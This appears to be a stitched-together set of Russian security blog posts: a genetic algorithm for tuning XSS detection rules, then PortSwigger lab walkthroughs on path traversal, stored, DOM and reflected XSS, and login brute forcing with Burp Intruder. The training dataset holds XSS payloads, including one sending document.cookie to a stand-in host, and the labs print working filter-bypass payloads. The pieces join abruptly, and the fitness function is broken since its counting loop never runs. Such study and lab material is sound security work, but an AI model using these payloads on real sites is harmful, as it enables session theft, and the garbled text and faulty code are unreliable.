ГА - эвристический алгоритм поиска, используемый для решения задач оптимизации и моделирования путём случайного подбора, комбинирования и вариации искомых параметров с использованием механизмов, аналогичных естественному отбору в природе.

Теперь объясним более простыми словами, что представляет собой генетический алгоритм и из чего он состоит, а далее применим ГА для задачи улучшения сигнатурных правил для выявления XSS-атак.

Итак, ГА в классическом понимании состоит из следующих компонентов:

• Fitness function - функция приспособленности (определяет насколько "особь" соответствует критериям, поставленным перед ГА)
• Crossover function - функция "перемешивания" генов от "родителей" для создания новых "особей"
• Mutate function - функция, вносящая некоторый хаос после "перемешивания" генов для большей вариативности "популяции"
• Select parent function - функция, определяющая каким образом будут отобраны "родители" для формирования новой "популяции"

При работе с ГА необходимо заранее подготовить набор тестовых данных (для проверки функции приспособленности) и алгоритм для формирования изначальной популяции. Стоит отдельно упомянуть, что под термином "особь" - может скрываться любой объект исследования для которого стоит задача улучшения его характеристик. Также необходимо учитывать, сколько именно "популяций" должно пройти для ГА. Ограничивающим значением может быть определенная граница для функции приспособленности. Для мутаций важно учитывать вероятность их появления (чем выше вероятность возникновения мутации, тем агрессивнее развивается популяция). Однако важно учитывать, что низкая вероятность мутаций снизит разнообразие популяций и быстрее приведет к состоянию конвергенции (усредненных показателей для разных особей в популяции), высокая же вероятность мутации может привести к вырождению популяции. Этот параметр необходимо настраивать эмпирически и очень осторожно!:)

Перейдем к конкретной практической задаче для применения ГА, а именно: улучшение эмпирических правил для выявления XSS-атак.

Приведем ниже изначальный датасет, где отмечены нормальные запросы и запросы с XSS:

dataset = [

# Нормальные запросы

{"request": "username=admin&password=12345", "is_xss_attack": False},

{"request": "search=hello world", "is_xss_attack": False},

{"request": "comment=This is a great product!", "is_xss_attack": False},

{"request": "email=john.doe@example.com", "is_xss_attack": False},

{"request": "page=about", "is_xss_attack": False},

{"request": "filter=price_asc", "is_xss_attack": False},

{"request": "sort=descending", "is_xss_attack": False},

{"request": "action=login&redirect=/dashboard", "is_xss_attack": False},

# XSS-атаки (встраивание <script> тегов)

{"request": "comment=<script>alert('XSS')</script>", "is_xss_attack": True},

{"request": "username=<script src='http://malicious.com/xss.js'></script>", "is_xss_attack": True},

{"request": "email=<script>document.location='http://malicious.com/?cookie='+document.cookie</script>", "is_xss_attack": True},

# XSS-атаки (использование событий)

{"request": "username=<img src=x onerror=alert('XSS')>", "is_xss_attack": True},

{"request": "comment=<div onclick=alert('XSS')>Click me</div>", "is_xss_attack": True},

{"request": "description=<a href=# onload=alert('XSS')>Link</a>", "is_xss_attack": True},

# XSS-атаки (URL-кодирование)

{"request": "comment=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E", "is_xss_attack": True}, # <script>alert('XSS')</script>

{"request": "username=%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%3E", "is_xss_attack": True}, # <img src=x onerror=alert('XSS')>

{"request": "email=%3Ca%20href%3D%23%20onload%3Dalert%28%27XSS%27%29%3ELink%3C%2Fa%3E", "is_xss_attack": True}, # <a href=# onload=alert('XSS')>Link</a>

# XSS-атаки (HTML-комментарии для обхода фильтров)

{"request": "comment=<script><!--</script>alert('XSS')<!--</script>", "is_xss_attack": True},

{"request": "username=<script>/*</script>alert('XSS')<script>*/</script>", "is_xss_attack": True},

# XSS-атаки (использование Base64)

{"request": "description=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=", "is_xss_attack": True}, # Base64: <script>alert('XSS')</script>

{"request": "content=data:image/svg+xml,<svg/onload=alert('XSS')>", "is_xss_attack": True},

# XSS-атаки (использование JavaScript в URL)

{"request": "redirect=javascript:alert('XSS')", "is_xss_attack": True},

{"request": "link=javascript:void(0);alert('XSS')", "is_xss_attack": True},

# Сложные случаи

{"request": "input=<iframe src='javascript:alert(\"XSS\")'></iframe>", "is_xss_attack": True},

{"request": "message=<svg onload=alert('XSS')>", "is_xss_attack": True},

{"request": "payload=<math><mi><script>alert(&apos;XSS&apos;)</script></mi></math>", "is_xss_attack": True},

]

Далее опишем функцию для формирования популяции:

def initialize_population(size):

population = []

for _ in range(size):

individual = {

"regex": random.choice([

r".*<script.*>", # Поиск тегов <script>

r".*on\w+\s*=", # Поиск событий (onclick, onload, ...)

r".*javascript\s*:", # Поиск JavaScript в URL или атрибутах

r".*base64[^a-zA-Z0-9+/=]", # Поиск Base64-кодированных строк

r".*<\s*[a-zA-Z]+\s+[^>]*>", # Поиск HTML-тегов с атрибутами

]),

"min_length": random.randint(5, 100), # Минимальная длина запроса

"contains_symbols": random.sample(

["<", ">", "'", '"', "=", "(", ")", "{", "}", ";", ":"],

random.randint(1, 5) # Случайное количество символов

)

}

population.append(individual)

return population

Функция формирования популяции работает следующим ообразом:

• случайным образом выбирается один из базовых паттернов регулярных выражений
• Случайным образом выбирается минимальная длина запроса
• Случайным образом выбирается 5 символов из массива символов "маркеров XSS"

Далее опишем функцию для выбора родителей:

def select_parents(population, scores, tournament_size=3):

parents = []

population_size = len(population)

for _ in range(population_size):

candidates = random.sample(range(population_size), tournament_size)

winner = max(candidates, key=lambda idx: scores[idx])

parents.append(population[winner])

return parents

Родительские особи выбираются "турнирным" способом (выбирается лучший из 3-ох), данный алгоритм прост в реализации и помогает избежать преждевременной "усредненности" получающихся "особей"

Теперь опишем функцию мутации:

def mutate(individual):

# Мутация регулярного выражения (10% вероятность)

if random.random() < 0.1:

individual["regex"] = random.choice([

r".*<script.*>", # Поиск тегов <script>

r".*on\w+\s*=", # Поиск событий (onclick, onload, ...)

r".*javascript\s*:", # Поиск JavaScript в URL или атрибутах

r".*base64[^a-zA-Z0-9+/=]", # Поиск Base64-кодированных строк

r".*<\s*[a-zA-Z]+\s+[^>]*>" # Поиск HTML-тегов с атрибутами

])

if random.random() < 0.1:

individual["min_length"] = random.randint(5, 100) # Диапазон длин от 5 до 100

if random.random() < 0.1:

individual["contains_symbols"] = random.sample(

["<", ">", "'", '"', "=", "(", ")", "{", "}", ";", ":"],

random.randint(1, 5) # Случайное количество символов от 1 до 5

)

Мутация в данном случае определяет, что с вероятностью (10% в конкретном случае) параметры сигнатурного правила - "особи" могут случайным образом измениться. Мутации поддерживают вариативность "популяции" - набора тестируемых сигнатурных правил.

В конечном итоге опишем функцию приспособленности:

def fitness(individual, dataset):

true_positives = 0

false_positives = 0

if true_positives > 0:

for request in dataset:

if matches_rule(individual, request):

if request['is_xss_attack']:

true_positives += 1

else:

false_positives += 1

precision = true_positives / (true_positives + false_positives + 1e-6)

recall = true_positives / sum(r['is_xss_attack'] for r in dataset)

return precision + recall - false_positives * 0.5

Функция приспособленности считает, сколько было правдивых положительных и ложных срабатываний.

Точность (precision) - соотношение положительных срабатываний к общему числу срабатываний.

Полнота (recall) - соотношение, сколько реальных атак обнаружило правило

Также ложные срабатывания накладывают штраф к функции приспособленности (- false_positives * 0.5)

Вывод:

Для 300 поколений из 350 особей на тестовом наборе данных оказалось лучшим следующее правило: Best rule: {'regex': '.*<\\s*[a-zA-Z]+\\s+[^>]*>', 'min_length': 30, 'contains_symbols': ["'", '<']}

Однако при работе ГА выяснились следующие проблемы:

• Слишком искусственный и маленький датасет (слишком мало ложных срабатываний и стабильно высокое значение функции приспособленности)
• Необходимо создавать более правдоподобное и разнообразное поколение
• Мутации необходимо применять более гибко

Хочется сказать, что при решении всех этих недостатков и получении production-датасета с помощью ГА действительно можно улучшать сигнатурные правила. Также периодически, при обновлении данных можно формировать новые правила, которые будут точнее обнаруживать XSS и иметь низкую вероятность ложных срабатываний.

Данная уязвимость опасна тем, что в случае отсутствия санитайзинга пользовательского ввода, веб-сервер, к примеру, вместо безобидной картинки отдаст злоумышленнику файлы из чувствительных директорий, что может привести к компрометации всего сервера! Чтобы было понятнее давайте разбираться на конкретных примеров, начнем с самого простого.

Lab: File path traversal, simple case

В описании к данной лабе дана подсказка, что уязвимость содержится в логике отображения картинки товара. Перед нами стоит задача вызвать уязвимость обхода каталога и достать с сервера чувствительный файла /etc/passwd (в Linux данный файл хранит информацию об учетных записях и ролях). Приступаем!

Давайте заглянем внутрь карточки и посмотрим в консоли, как выглядят запросы для получения картинок с карточек, а еще лучше расчехлить burp.

Обратим внимание, что URL в запросах формируются следующим образом:

.../image?filename=48.jpg

Сервер при формировании такого URL отдает нам картинку. А может он нам и /etc/passwd отдаст?? Попробуем...

Почему же мы не смогли получить доступ к файлу?? Все просто, мы не в той директории, попытаемся выбраться в корневую директорию и найти там файл по пути /etc/passwd. Как? Разберемся ниже...

Пути отображаются через обычный слэш, так что сервер линуксовый. Выбраться из текущей директории можно с помощью двух точек (..). Как в итоге должно выглядеть продолжение нашего URL - ../image?filename= ?? Будем добавлять ../ - пока не получим доступ к файлу выберемся в корневую директорию.

На этом задача, поставленная в лабе, выполнена! Подведем итог.

Итог

На примере данной лабы продемонстрирована уязвимость Path Traversal. Из-за недостаточной обработки и санитайзинга пользовательского ввода(отправляемых запросов) сервер вместе с безобидными картинками для карточек товаров при нехитрых манипуляциях с радостью отдает нам чувствительные системные файлы!

1.) Lab: Stored XSS into HTML context with nothing encoded

Название и краткое описание данной работы наталкивают на мысль, что XSS должна быть хранимой (т.е. payload должен быть загружен на серверную часть приложения). Посмотрим, какой функционал может быть язвим к Stored XSS

Попробуем вписать в поле самого комментария самый банальный payload:

<script>alert('Stored XSS detected!')</script>

Оставшиеся поля заполним простой информацией и посмотрим на реакцию приложения.

Lab: DOM XSS in document.write sink using source location.search

Начнем с короткого теоретического ликбеза. Данный тип XSS выполняется на клиентской стороне приложения - не отражается и не хранится на сервере. При возникновении данной уязвимости приложение отображает вредоносный код как часть DOM.

DOM (document objetc model) - объектная модель, которую браузер создает на основе полученного HTML. Важно отметить, что в DOM-XSS не изменяется исходный HTML, изменяется именно DOM. Идем решать лабу!

В описании к лабе нас просять вызвать функцию alert и сильно намекают на document.write и location.search. Посмотрим, какой функционал сайта мы будем истязать для получения DOM-XSS...

Попробуем выполнить поисковый запрос, а после этого посмотреть код страницы.

Наш поисковый запрос выполняется с помощью document.write. Непосредственно наш запрос располагается после searchTerms. Запихнуть банальный payload прямо в поисковое поле уже не выйдет, а жаль... Однако заметим, что мы также можем изменять URL, т.к. в нем отображается наш поисковый запрос. Что же, попробуем составить правильный payload и вписать его в URL.

"><svg onload=alert(1)>

Почему же payload именно такой??? Вообще составление правильного payload для XSS это уже почти гарантированный успех. Итак, объяснение!

"> - закрывает параметр и тег input, а остальное тело payload является базовым payload для svg. Почему svg? Данный payload мы можем использовать внутри тега img. Что же попробуем выполнить данный payload.

Вывод

Что? Куда? Ответы на эти вопросы полностью решают задачу успешной эксплуатации XSS. Составление правильного payload - сравни искусству! Упражняйтесь и ищите информацию в интернете:)

P.s. Хранимый XSS - самый опасный вид XSS, т.к. злоумышленнику достаточно отправить payload на сервер веб-приложения один раз, а жертва будет уязвима всякий раз, когда будет выполнять действия достаточные для выполнения полезной нагрузки (как в первом примере этой статьи)

Сегодня будем разбирать Reflected(отраженный)-XSS. Отраженные XSS-атаки имеют наименьший impact среди всех векторов XSS из-за сложности организации и доставки до жертвы. Злоумышленник должен воспользоваться этой уязвимостью, отправив жертве ссылку, содержащую вредоносный скрипт. Когда жертва кликает на ссылку, скрипт выполняется в контексте браузера жертвы, что дает злоумышленнику возможность манипулировать данными пользователя или получить доступ к конфиденциальной информации. Отраженные XSS-атаки возможны в случае когда приложение должным образом не санитизирует пользовательский ввод и сразу отображает его. Более подробно будем разбираться на примерах лабораторных работ с PortSwigger Web Academy.

Lab: Reflected XSS into HTML context with nothing encoded

В описании к данной работе(жмак, чтобы перейти к лабе) нам предлагают проверить на уязвиомсть к XSS поисковое поле, вызвав в нем функцию alert. Что же, база для разминки, приступим...

Попробуем запихнуть в поле поиска самый простой payload для XSS.

<script>alert('XSS')</script>

В данном примере payload абсолютно безвреден, однако, его успешное выполнение свидетельствует о том, что поле поиска уязвимо к XSS!

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

В данной работе мы не сможем использовать наш предыдущий payload, так как угловые скобки закодированы в HTML. Попробуем обойти это ограничение. Мы можем попытаться обойти данное ограничение. Обойдемся вообще без HTML. Попробуем использовать силу чистого JS. Есть событие onMouseOver, которое срабатывает при наведении на него курсора. Попробуем присвоить ему срабатывание alert. Наш payload будет выглядеть следующим образом:

"onMouseOver="alert('XSS')

Лаба оказалась ненамного сложнее, нужно было лишь немного подумать над способом обхода незначительных ограничений.

Вывод

На этом вводная статья подходит к концу, однако в дальнейшем продолжим разбираться с XSS, разбирая другие векторы и наращивая сложность рассматриваемых задач.

Хочется лишь добавить про возможные способы защиты от XSS:

• Используйте безопасные фреймворки и библиотеки, которые экранируют пользовательский ввод
• Настройте политику безопасности контента (CSP) для предотвращения выполнения несанкционированного JS-кода
• Фильтруйте и проверяйте данные на сервере

В данной лабораторной работе, исходя из постановки задачи, необходимо будет перебрать списки возможных пользователей и паролей (атака методом Brute Force). Ссылка на лабораторную работу: https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses

Выбор инструментов и настройка

В любой задаче правильный туллинг и инструментация - уже 20% результата, а где-то даже больше. Будем использовать Burp Suite community edition (поставляется в наборе инструментов дистрибутива Kali Linux). Burp Suite работает в режиме proxy для анализа и изменения отправляемых запросов и получения ответов. Для быстрого переключения proxy в браузере при работе с Burp Suite советую использовать расширение FoxyProxy: https://addons.mozilla.org/ru/firefox/addon/foxyproxy-standard/.

Прохождение

В описании к данной работе нам предоставляются списки потенциальных логинов и паролей. Но для начала попробуем вручную протестировать форму авторизации (чтобы понять механизм авторизации и захватить несколько запросов для последующей работы с Burp Suite).

Заметим, как реагирует форма авторизации на попытку входа с неправильными учетными данными. Теперь рассмотрим как выглядит данный запрос в Burp Suite (Предварительно включив его перед работой и настроив proxy).

Для перебора логинов и паролей воспользуемся Intruder-ом. С помощью него можно будет формировать запросы с устанавливаемыми из подготовленных списков полями. В описании к работе нам предлагается по 100 возможных паролей и логинов для входа. Для полного перебора сразу логинов и паролей понадобится 100000 запросов, что Burp Suite в community версии в однопоточном режиме будет делать ощутимо долго. Поэтому для начала попробуем подобрать правильный логин, а потом уже пароль (максимум понадобится 200 запросов).

Отправим наш тестовый неудачный запрос на авторизацию в Intruder. Выберем тип атаки Sniper (будет доступен один набор payload-ов). Добавим метки вокруг поля с предполагаемым логином.

В названии работы была подсказка, поэтому и стоит обратить внимание на отличающуюся длину ответа (да и в любом случае стоило бы обратить внимание).

Теперь, когда у нас есть логин пользователя мы сможем подобрать его пароль. Теперь в intruder мы зафиксируем имя пользователя <ar>. А пароль будем перебирать из предложенного в работе списка.

Теперь попробуем авторизоваться с учетными данными ar:thunder.

Вывод

Из-за изменения вывода информационного сообщения при попытке входа с правильным логином, но неправильным паролем мы смогли подобрать пароль за 200 запросов. Даже если бы сообщение не изменялось мы бы смогли подобрать данные за 10000 запросов, т.к. форма авторизации не защищена от Brute-force атак.